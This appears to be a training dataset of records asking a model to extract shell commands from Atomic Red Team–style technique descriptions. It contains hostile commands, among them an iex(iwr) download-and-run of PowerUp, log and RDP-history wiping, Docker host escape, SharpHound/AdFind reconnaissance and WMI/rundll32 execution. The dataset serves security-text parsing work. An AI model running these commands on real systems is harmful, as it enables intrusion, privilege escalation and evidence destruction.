    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The test involves two steps: first, removing journal files with the rm utility, and second, clearing the journal by adjusting the retention time, which can be done via these commands: sudo rm #{journal_folder}/* #physically deletes the journal files, and not just their content\nsudo journalctl --vacuum-time=0 #clears the journal while still keeping the journal files in place; During Linux web server exploitation, threat actor Rocke used this method to clear a user's mail spool by executing: echo 0> /var/spool/mail/#{username}\n",
    "output": "{\"command_list\": [\"sudo rm #{journal_folder}/* #physically deletes the journal files, and not just their content\\nsudo journalctl --vacuum-time=0 #clears the journal while still keeping the journal files in place\\n\", \"echo 0> /var/spool/mail/#{username}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For permission groups discovery, execute this PowerShell command which may show errors on standalone machines: get-localgroup\nGet-LocalGroupMember -Name \"Administrators\"\n; For remote SAMR-based listing of local Administrators group members, use these commands: New-Item -Path \"#{output_path}\" -ItemType Directory > $null\n& \"#{sharphound_path}\" -d \"#{domain}\" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory \"#{output_path}\"",
    "output": "{\"command_list\": [\"get-localgroup\\nGet-LocalGroupMember -Name \\\"Administrators\\\"\\n\", \"New-Item -Path \\\"#{output_path}\\\" -ItemType Directory > $null\\n& \\\"#{sharphound_path}\\\" -d \\\"#{domain}\\\" --CollectionMethod LocalAdmin --NoSaveCache --OutputDirectory \\\"#{output_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This AWS CLI command creates an EBS snapshot, which can be used by adversaries to duplicate volume data: aws ec2 create-snapshot --region #{aws_region} --volume-id #{aws_volume_id} --description \"Atomic Red Team Test Snapshot\" --query \"SnapshotId\" --output text; This Azure CLI command creates a managed disk snapshot in the eastus region, which could be used for malicious persistence: az snapshot create --resource-group #{azure_resource_group} --name #{azure_snapshot_name} --source #{azure_disk_name} --location eastus",
    "output": "{\"command_list\": [\"aws ec2 create-snapshot --region #{aws_region} --volume-id #{aws_volume_id} --description \\\"Atomic Red Team Test Snapshot\\\" --query \\\"SnapshotId\\\" --output text\\n\", \"az snapshot create --resource-group #{azure_resource_group} --name #{azure_snapshot_name} --source #{azure_disk_name} --location eastus\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To mask process creation by inheriting from Win32_Process, use the following command sequence: $Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath(\"Win32_Process\"))\n$NewClass = $Class.Derive(\"#{new_class}\")\n$NewClass.Put()\nInvoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}; This test leverages wmic.exe to run a DLL function through rundll32, which can be done with the command: wmic /node:#{node} process call create \"rundll32.exe \\\"#{dll_to_execute}\\\" #{function_to_execute}\"\n. Don't forget to provide a valid remote IP in the node parameter.",
    "output": "{\"command_list\": [\"$Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath(\\\"Win32_Process\\\"))\\n$NewClass = $Class.Derive(\\\"#{new_class}\\\")\\n$NewClass.Put()\\nInvoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}\\n\", \"wmic /node:#{node} process call create \\\"rundll32.exe \\\\\\\"#{dll_to_execute}\\\\\\\" #{function_to_execute}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Ursnif retrieves additional modules from its C&C server and stores them in the registry, specifically under HKEY_CURRENT_USER\\Software\\AppDataLow\\Software\\Microsoft\\, using the following command: reg add HKCU\\Software\\AppDataLow\\Software\\Microsoft\\3A861D62-51E0-15700F2219A4 /v comsxRes /t REG_BINARY  /d 72656463616e617279 /f.; The Windows RDP client stores connection details which can be removed by executing these registry commands: reg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\" /va /f\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\" /f\n",
    "output": "{\"command_list\": [\"reg add HKCU\\\\Software\\\\AppDataLow\\\\Software\\\\Microsoft\\\\3A861D62-51E0-15700F2219A4 /v comsxRes /t REG_BINARY  /d 72656463616e617279 /f\\n\", \"reg delete \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default\\\" /va /f\\nreg delete \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Servers\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Accounts that don't require Kerberos pre-authentication can be retrieved by running the following command: get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE}; For reconnaissance in an Active Directory environment, ransomware actors have been known to use the AdFind tool with the following command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" -f (objectcategory=group) #{optional_args}",
    "output": "{\"command_list\": [\"get-aduser -f * -pr DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq $TRUE}\\n\", \"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" -f (objectcategory=group) #{optional_args}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The test illustrates privilege escalation by exploiting Docker's volume mapping. First, verify the current user with: echo \"Current user: #{username}\", then run this command to operate as root on the host system: sudo -u docker_user sh -c \"sudo docker run -v /:/mnt --rm --name t1611_privesc -it alpine chroot /mnt id\"; For listing process window titles, the C# code needs to be compiled and executed via this command: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe -out:#{output_file_name} \"#{input_source_code}\"\n#{output_file_name}\n",
    "output": "{\"command_list\": [\"echo \\\"Current user: #{username}\\\"\\nsudo -u docker_user sh -c \\\"sudo docker run -v /:/mnt --rm --name t1611_privesc -it alpine chroot /mnt id\\\"\\n\", \"C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\csc.exe -out:#{output_file_name} \\\"#{input_source_code}\\\"\\n#{output_file_name}\\n\"]}"
  },
  {
